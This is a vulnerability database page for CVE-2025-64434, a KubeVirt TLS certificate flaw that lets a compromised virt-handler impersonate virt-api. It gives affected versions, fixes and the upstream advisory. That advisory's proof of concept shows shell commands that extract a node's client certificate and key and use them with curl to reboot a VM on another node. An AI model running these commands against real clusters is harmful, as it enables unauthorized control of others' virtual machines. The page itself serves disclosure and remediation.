CVE-2025-64434: Kubevirt.io/kubevirt KubeVirt's Improper TLS Certificate Management Vulnerability
MODERATECVE-2025-64434 is a MODERATE (CVSS 4.7) kubevirt's improper tls certificate management vulnerability (CWE-287: Improper Authentication) affecting Kubevirt.io/kubevirt libraries in the Go ecosystem. The issue involves kubevirt's improper tls certificate management handling allows api identity spoofing. Remediation is available by upgrading affected packages to version 1.5.3, 1.6.1.
CVE-2025-64434 at a Glance
Security Impact
CVSS: 4.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2025-64434
To remediate this vulnerability, upgrade all affected Kubevirt.io/kubevirt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade kubevirt.io/kubevirt to 1.5.3
Upgrade kubevirt.io/kubevirt to 1.6.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for kubevirt.io/kubevirt
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-64434, inspect your project dependencies for Kubevirt.io/kubevirt:
inspect dependencies for kubevirt.io/kubevirt
Analyze the terminal output to locate any version of Kubevirt.io/kubevirt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Kubevirt.io/kubevirt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-64434 Affected Kubevirt.io/kubevirt Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
kubevirt.io/kubevirt
|
Go |
< 1.5.3
|
1.5.3
|
|
kubevirt.io/kubevirt
|
Go |
≥ 1.6.0-alpha.0
< 1.6.1
|
1.6.1
|
References
Frequently Asked Questions
What is CVE-2025-64434?
Which Kubevirt.io/kubevirt versions are affected?
What version fixes CVE-2025-64434?
Is kubevirt.io/kubevirt affected?
What is the CVSS score of CVE-2025-64434?
What CWE is associated with CVE-2025-64434?
How can I check Go dependencies for CVE-2025-64434?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-ggp9-c99x-54gp",
"modified" : "2025-11-27T08:48:13Z",
"published" : "2025-11-06T23:35:03Z",
"aliases" : [ "CVE-2025-64434" ],
"summary" : "KubeVirt's Improper TLS Certificate Management Handling Allows API Identity Spoofing",
"details" : "### Summary\nDue to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nBecause of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. \nThe `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances.\nThe communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: \n\n```go\n//pkg/virt-api/api.go\n\nconst (\n\t...\n\tdefaultCAConfigMapName = \"kubevirt-ca\"\n ...\n\tdefaultHandlerCertFilePath = \"/etc/virt-handler/clientcertificates/tls.crt\"\n\tdefaultHandlerKeyFilePath = \"/etc/virt-handler/clientcertificates/tls.key\"\n)\n```\n\n```bash\n# verify virt-api's certificate properties from the docker container in which it is deployed using Minikube\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \\\ndocker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d '\"[:space:]')/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 127940157512425330 (0x1c688e539091f72)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n```\n\nThe `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates.\n\n```bash\n# inspect the self-signed root CA used to sign virt-api and virt-handler's certificates\nadmin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 319368675363923930 (0x46ea01e3f7427da)\nIssuer: CN=kubevirt.io@1747579138\nSubject: CN=kubevirt.io@1747579138\n```\n\nThe `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance:\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \\\ndocker inspect $CID | grep \"servercertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d '\"[:space:]')/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\n# the virt-handler's server ceriticate is issued by the same root CA\nSerial Number: 7584450293644921758 (0x6941615ba1500b9e)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:node:virt-handler\n```\n\n\nIn addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate:\n\n<code.sec.SetupTLSForVirtHandlerServer>\n```go \n//pkg/util/tls/tls.go\n\nfunc SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {\n\t// #nosec cause: InsecureSkipVerify: true\n\t// resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed\n\t\n\t//...\n\t\t\t\t// XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment\n\t\t\t\tVerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\t\treturn verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, \"client\")\n\t\t\t\t},\n\t\t\t\t//...\n}\n\nfunc verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {\n //...\n\trawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]\n\tc, err := x509.ParseCertificate(rawPeer)\n\t//...\n\tfullCommonName := fmt.Sprintf(\"kubevirt.io:system:%s:virt-handler\", commonName)\n\tif !externallyManaged && c.Subject.CommonName != fullCommonName {\n\t\treturn fmt.Errorf(\"common name is invalid, expected %s, but got %s\", fullCommonName, c.Subject.CommonName)\n\t}\n\t//...\n```\n\n\nThe above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`'s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. \n\nIn addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. \n\n```go\n//pkg/virt-handler/migration-proxy/migration-proxy.go\n\nfunc NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {\n\treturn &migrationProxyManager{\n\t\tsourceProxies: make(map[string][]*migrationProxy),\n\t\ttargetProxies: make(map[string][]*migrationProxy),\n\t\tserverTLSConfig: serverTLSConfig,\n\t\tclientTLSConfig: clientTLSConfig,\n\t\tconfig: config,\n\t}\n}\n```\n\n\nThis communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`.\n\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | tr -d '\"[:space:]')/tls.crt | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 2951695854686290384 (0x28f687bdb791c1d0)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n\n```\n\nAlthough the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM's state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nTo illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node:\n\n\n```yaml\n# the deployed VMI on the non-compromised node minikube-m02\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n labels:\n kubevirt.io/size: small\n name: mishandling-common-name-in-certificate-handler\nspec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n\n - name: cloudinitdisk\n disk:\n bus: virtio\n resources:\n requests:\n memory: 1024M\n terminationGracePeriodSeconds: 0\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk \n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3\nattacker@minikube:~$ curl -k https://10.244.1.3:8186/\ncurl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0\n# get the certificate bundle directory and redo the request\nattacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep \"clientcertificates:ro\" | cut -d ':' -f1 | tr -d '\"[:space:]')\n\nattacker@minikube:~$ curl -k --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/\n404: Page Not Found\n\n# soft reboot the VMI instance running on the other node\nattacker@minikube:~$ curl -ki --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot -XPUT\nHTTP/1.1 202 Accepted\n# the VMI mishandling-common-name-in-certificate-handler has been rebooted\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDue to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "kubevirt.io/kubevirt"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "kubevirt.io/kubevirt"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.6.0-alpha.0"
}, {
"fixed" : "1.6.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64434"
}, {
"type" : "WEB",
"url" : "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
}, {
"type" : "WEB",
"url" : "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
}, {
"type" : "WEB",
"url" : "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kubevirt/kubevirt"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-11-06T23:35:03Z",
"nvd_published_at" : "2025-11-07T23:15:45Z"
}
}